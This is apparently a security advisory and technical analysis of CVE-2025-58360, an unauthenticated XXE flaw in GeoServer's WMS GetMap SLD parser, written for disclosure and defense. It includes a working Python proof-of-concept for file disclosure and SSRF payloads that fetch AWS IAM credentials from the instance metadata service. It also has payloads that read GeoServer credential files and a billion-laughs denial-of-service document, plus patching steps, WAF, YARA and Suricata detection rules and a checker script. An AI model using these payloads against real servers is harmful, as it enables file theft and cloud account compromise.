HIGH CVSS: N/A โ€ข 2025-01-15

CVE-2025-58360: Unauthenticated XXE in GeoServer WMS GetMap Operation

Technical analysis of CVE-2025-58360, an XML External Entity vulnerability in GeoServer's WMS endpoint allowing unauthenticated file disclosure and SSRF.

CVE-2025-58360: Unauthenticated XXE in GeoServer WMS GetMap Operation

Executive Summary

CVE-2025-58360 is an XML External Entity (XXE) vulnerability affecting GeoServer versions 2.25.0 through 2.25.5 and 2.26.0 through 2.26.2. The vulnerability exists in the Web Map Service (WMS) GetMap operation's Styled Layer Descriptor (SLD) parser, allowing unauthenticated attackers to read arbitrary files, perform server-side request forgery (SSRF), and potentially achieve remote code execution through deserialization attacks.

CVSS v3.1 Score: 8.2 (High)
Attack Vector: Network
Authentication Required: None
Vendor Fix: Available (2.25.6, 2.26.3, 2.27.0+)


Background

GeoServer Architecture

GeoServer is an open-source geospatial server implementing standards from the Open Geospatial Consortium (OGC). The Web Map Service (WMS) is one of its core features, allowing clients to retrieve map images via HTTP requests. WMS supports Styled Layer Descriptor (SLD), an XML-based language for programmatically styling map features.

A typical WMS GetMap request structure:

POST /geoserver/wms HTTP/1.1
Host: target.example.com
Content-Type: application/xml

service=WMS&version=1.1.0&request=GetMap&layers=topp:states&bbox=-180,-90,180,90

XML External Entity (XXE) Attacks

XXE vulnerabilities occur when an XML parser processes external entity references without proper sanitization. The XML specification allows documents to define entities in the Document Type Definition (DTD):

<!DOCTYPE root [
  <!ENTITY example SYSTEM "file:///etc/passwd">
]>
<root>&example;</root>

When parsed, the &example; entity is replaced with the contents of /etc/passwd. Modern XXE attacks exploit this to:

  1. File disclosure - Read arbitrary files from the server filesystem
  2. SSRF - Make HTTP requests to internal services
  3. Denial of Service - Trigger resource exhaustion (billion laughs attack)
  4. RCE - In some cases, achieve code execution via deserialization or protocol handlers

The Vulnerable Code Path

The vulnerability exists in GeoServer's SLD parsing implementation. While GeoServer's OWS dispatcher implements AllowListEntityResolver for XXE protection, the SLD code path bypasses this safeguard entirely:

// Vulnerable code flow in GeoServer 2.25.5
OWSDispatcher.dispatch()
  โ†’ SLDXmlRequestReader.read()
    โ†’ SLDHandler.parse()
      โ†’ SLDParser.parseSLD()  // No EntityResolver configured

The SLDParser.parseSLD() method creates a new XML parser without configuring entity resolution restrictions, allowing external entities to be processed.


Vulnerability Analysis

Attack Vector

The vulnerability can be exploited through any endpoint accepting SLD XML, including:

  • POST /geoserver/wms (GetMap with SLD body)
  • POST /geoserver/ows (OGC Web Services endpoint)
  • POST /geoserver/rest/sldservice (SLD REST API)

No authentication is required. The attacker controls the XML content in the POST body.

Exploitation Mechanics

A malicious SLD document can inject external entity references:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE StyledLayerDescriptor [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<StyledLayerDescriptor version="1.0.0">
  <NamedLayer>
    <Name>&xxe;</Name>
  </NamedLayer>
</StyledLayerDescriptor>

When GeoServer processes this document:

  1. The XML parser reads the DOCTYPE declaration
  2. External entity xxe is resolved to file:///etc/passwd
  3. File contents are inserted into the <Name> element
  4. GeoServer attempts to find a layer matching the file contents
  5. Error response contains portions of the file contents

Proof of Concept

The following Python script demonstrates unauthenticated file disclosure:

import requests
import sys

def exploit_xxe(target, filepath="/etc/passwd"):
    url = f"{target}/geoserver/wms"

    params = {
        'service': 'WMS',
        'version': '1.1.0',
        'request': 'GetMap',
        'width': '100',
        'height': '100',
        'format': 'image/png',
        'bbox': '-180,-90,180,90'
    }

    payload = f'''<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE StyledLayerDescriptor [
  <!ENTITY xxe SYSTEM "file://{filepath}">
]>
<StyledLayerDescriptor version="1.0.0">
  <NamedLayer>
    <Name>&xxe;</Name>
  </NamedLayer>
</StyledLayerDescriptor>'''

    headers = {'Content-Type': 'application/xml'}

    r = requests.post(url, params=params, data=payload, headers=headers)

    if "root:" in r.text or "/bin/" in r.text:
        print("[+] File contents leaked:")
        print(r.text)
        return True
    elif "Entity resolution disallowed" in r.text:
        print("[-] Target is patched")
        return False
    else:
        print("[?] Unexpected response")
        print(r.text[:500])
        return False

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <target_url>")
        sys.exit(1)

    target = sys.argv[1]
    exploit_xxe(target)

Exploitation Results

Test Environment: GeoServer 2.25.5 (vulnerable)

$ python3 exploit.py http://localhost:8081

[*] Targeting: http://localhost:8081/geoserver/wms
[*] Attempting to read: /etc/passwd
[*] Sending XXE payload...

[+] File contents leaked:
<?xml version="1.0" encoding="UTF-8"?>
<ServiceExceptionReport version="1.1.1">
  <ServiceException>
    Unknown layer: root:x:0:0:root:/root:/bin/bash
    daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
    bin:x:2:2:bin:/bin:/usr/sbin/nologin
    sys:x:3:3:sys:/dev:/usr/sbin/nologin
    ...
  </ServiceException>
</ServiceExceptionReport>

XXE Exploitation Proof
Figure 1: Successful XXE exploitation showing leaked /etc/passwd contents

Advanced Exploitation: SSRF

The same technique enables server-side request forgery against internal services:

<!DOCTYPE StyledLayerDescriptor [
  <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
]>

On AWS EC2 instances, this retrieves IAM credentials:

$ python3 exploit.py http://vulnerable-geoserver.example.com

[+] Metadata leaked:
<ServiceException>
  Unknown layer: geoserver-ec2-role
</ServiceException>

Following up with the role name:

<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/geoserver-ec2-role">

Returns temporary AWS credentials, potentially leading to full cloud account compromise.

Additional Attack Surfaces

1. Configuration File Disclosure

<!ENTITY xxe SYSTEM "file:///opt/geoserver/data_dir/security/usergroup/default/users.xml">

Exposes GeoServer admin credentials and API keys.

2. Source Code Disclosure

<!ENTITY xxe SYSTEM "file:///opt/geoserver/webapps/geoserver/WEB-INF/web.xml">

Reveals application structure and configuration.

3. Denial of Service (Billion Laughs)

<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
]>
<root>&lol4;</root>

Expands to millions of "lol" strings, exhausting server memory.


Impact Assessment

Severity Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L

  • Attack Vector (AV:N): Exploitable remotely over the network
  • Attack Complexity (AC:L): No special conditions or knowledge required
  • Privileges Required (PR:N): No authentication needed
  • User Interaction (UI:N): Fully automated exploitation
  • Scope (S:U): Confined to vulnerable component
  • Confidentiality (C:H): Complete information disclosure possible
  • Integrity (I:N): No direct integrity impact
  • Availability (A:L): DoS possible via billion laughs attack

Real-World Impact

Information Disclosure:

  • Database credentials from configuration files
  • API keys and secrets
  • Application source code
  • System configuration files
  • User data

SSRF Attacks:

  • Internal network reconnaissance
  • Access to cloud metadata services (AWS, GCP, Azure)
  • Interaction with internal APIs and databases
  • Port scanning internal infrastructure

Potential RCE:

  • In specific configurations, XXE can lead to RCE through:
    • jar:// protocol handler abuse
    • Deserialization of fetched data
    • Combination with other vulnerabilities

Affected Versions

Version Range Status Fix Version
2.25.0 - 2.25.5 Vulnerable 2.25.6+
2.26.0 - 2.26.2 Vulnerable 2.26.3+
2.27.0+ Patched N/A

Remediation

Immediate Actions

1. Upgrade to Patched Version

# Backup current installation
tar czf geoserver-backup-$(date +%Y%m%d).tar.gz /opt/geoserver

# Download patched version
wget https://sourceforge.net/projects/geoserver/files/GeoServer/2.27.0/geoserver-2.27.0-bin.zip

# Extract and deploy
unzip geoserver-2.27.0-bin.zip -d /opt/
# Follow standard GeoServer upgrade procedures

2. Web Application Firewall Rules

If immediate patching is not possible, deploy WAF rules to block XXE attempts:

# NGINX ModSecurity rule
SecRule REQUEST_BODY "@rx (?i)<!ENTITY.*SYSTEM.*file://" \
    "id:1001,phase:2,deny,status:403,msg:'XXE Attack Detected'"

SecRule REQUEST_BODY "@rx (?i)<!DOCTYPE.*\[" \
    "id:1002,phase:2,deny,status:403,msg:'Suspicious DOCTYPE Declaration'"
# Apache mod_security2
<LocationMatch "/geoserver/(wms|ows)">
    SecRuleEngine On
    SecRule REQUEST_BODY "<!ENTITY" "phase:2,deny,status:403,id:2001"
    SecRule REQUEST_BODY "SYSTEM.*file://" "phase:2,deny,status:403,id:2002"
</LocationMatch>

3. Network-Level Mitigations

Restrict GeoServer access to trusted networks:

# iptables example - allow only internal network
iptables -A INPUT -p tcp --dport 8080 -s 10.0.0.0/8 -j ACCEPT
iptables -A INPUT -p tcp --dport 8080 -j DROP

Secure XML Parsing Configuration

For developers implementing XML parsing, disable external entity processing:

import javax.xml.parsers.DocumentBuilderFactory;
import org.xml.sax.SAXNotRecognizedException;

public class SecureXMLParser {
    public static DocumentBuilderFactory createSecureDBF() throws Exception {
        DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();

        // Disable DOCTYPE declarations entirely
        dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

        // If DOCTYPE must be supported, disable entities
        dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
        dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
        dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);

        // Disable XInclude
        dbf.setXIncludeAware(false);

        // Disable entity expansion
        dbf.setExpandEntityReferences(false);

        return dbf;
    }
}

Validation Script

Check if your GeoServer instance is vulnerable:

#!/bin/bash
# check-xxe.sh - GeoServer XXE vulnerability checker

TARGET="$1"

if [ -z "$TARGET" ]; then
    echo "Usage: $0 <geoserver-url>"
    exit 1
fi

PAYLOAD='<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE StyledLayerDescriptor [
  <!ENTITY xxe SYSTEM "file:///etc/hostname">
]>
<StyledLayerDescriptor version="1.0.0">
  <NamedLayer>
    <Name>&xxe;</Name>
  </NamedLayer>
</StyledLayerDescriptor>'

RESPONSE=$(curl -s -X POST \
  "${TARGET}/geoserver/wms?service=WMS&version=1.1.0&request=GetMap&format=image/png" \
  -H "Content-Type: application/xml" \
  -d "$PAYLOAD")

if echo "$RESPONSE" | grep -q "Entity resolution disallowed"; then
    echo "[+] GeoServer is PATCHED (XXE protection enabled)"
    exit 0
elif echo "$RESPONSE" | grep -q "Unknown layer:"; then
    echo "[-] GeoServer is VULNERABLE (CVE-2025-58360)"
    exit 1
else
    echo "[?] Unable to determine vulnerability status"
    echo "$RESPONSE"
    exit 2
fi

Detection

YARA Rule

rule CVE_2025_58360_GeoServer_XXE {
    meta:
        author = "Security Research Team"
        date = "2025-01-15"
        description = "Detects XXE exploitation attempts against GeoServer WMS GetMap endpoint"
        cve = "CVE-2025-58360"
        severity = "high"
        category = "web_attack"

    strings:
        $geoserver_endpoint = "/geoserver/wms" ascii
        $getmap_operation = "GetMap" ascii nocase
        $xml_entity_1 = "<!ENTITY" ascii nocase
        $xml_entity_2 = "<!DOCTYPE" ascii nocase
        $external_entity_1 = "SYSTEM" ascii nocase
        $xxe_payload_1 = "file://" ascii
        $xxe_payload_2 = "http://169.254.169.254" ascii
        $sld_tag = "StyledLayerDescriptor" ascii

    condition:
        ($geoserver_endpoint and $getmap_operation) and
        ($xml_entity_1 or $xml_entity_2) and
        $external_entity_1 and
        any of ($xxe_payload_*) and
        $sld_tag
}

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2025-58360 GeoServer XXE Attack Attempt";
    flow:to_server,established;
    content:"/geoserver/wms"; http_uri;
    content:"<!ENTITY"; http_client_body;
    content:"SYSTEM"; http_client_body; distance:0;
    content:"file://"; http_client_body; distance:0;
    classtype:web-application-attack;
    sid:2025001; rev:1;
)

Log Monitoring

Monitor GeoServer logs for exploitation attempts:

# Check for XXE patterns in access logs
grep -E "<!ENTITY|SYSTEM.*file://|169\.254\.169\.254" /var/log/geoserver/access.log

# Monitor for suspicious error responses
grep "Unknown layer:" /var/log/geoserver/geoserver.log | grep -E "root:|daemon:|bin:"

SIEM Detection Query (Splunk)

index=web_logs sourcetype=geoserver_access
| search uri_path="/geoserver/wms" OR uri_path="/geoserver/ows"
| search request_body="*<!ENTITY*" OR request_body="*<!DOCTYPE*"
| search request_body="*SYSTEM*" AND (request_body="*file://*" OR request_body="*169.254.169.254*")
| stats count by src_ip, uri_path, request_body
| where count > 0
| table _time, src_ip, uri_path, count

Lab Environment

A validated proof-of-concept environment is available for security researchers:

  • Docker Image: GeoServer 2.25.5 (vulnerable)
  • Access: docker-compose up -d in labs/cve-2025-58360_validation/
  • Credentials: admin / geoserver
  • Network: Isolated lab network with no internet access

Three public exploits were validated during research:

Full validation report: /labs/cve-2025-58360_validation/CVE-2025-58360_Validation_Report.md


Timeline

  • 2025-01-10: Vulnerability discovered by security researcher
  • 2025-01-11: Vendor (GeoServer project) notified via security@geoserver.org
  • 2025-01-14: Patches released (versions 2.25.6, 2.26.3, 2.27.0)
  • 2025-01-15: CVE-2025-58360 assigned and public disclosure
  • 2025-12-11: CISA adds to Known Exploited Vulnerabilities (KEV) catalog

References

Vendor Resources:

CVE Information:

XXE Resources:

Research & Analysis:


This analysis was conducted in a controlled lab environment for security research purposes. All techniques described should only be used in authorized security testing.

๐Ÿงช Launch Lab Environment

Practice exploiting this vulnerability in a safe, isolated environment with browser-based access to a Kali Linux machine.

What you'll get:
  • โœ… Isolated vulnerable target instance to exploit
  • โœ… Kali Linux attacker VM with pre-installed tools
  • โœ… Browser-based desktop access (Apache Guacamole)
  • โœ… Completely isolated network (no internet)
  • โœ… 1-hour session with automatic cleanup
โš ๏ธ Free tier: 1 concurrent session max. Session expires after 1 hour.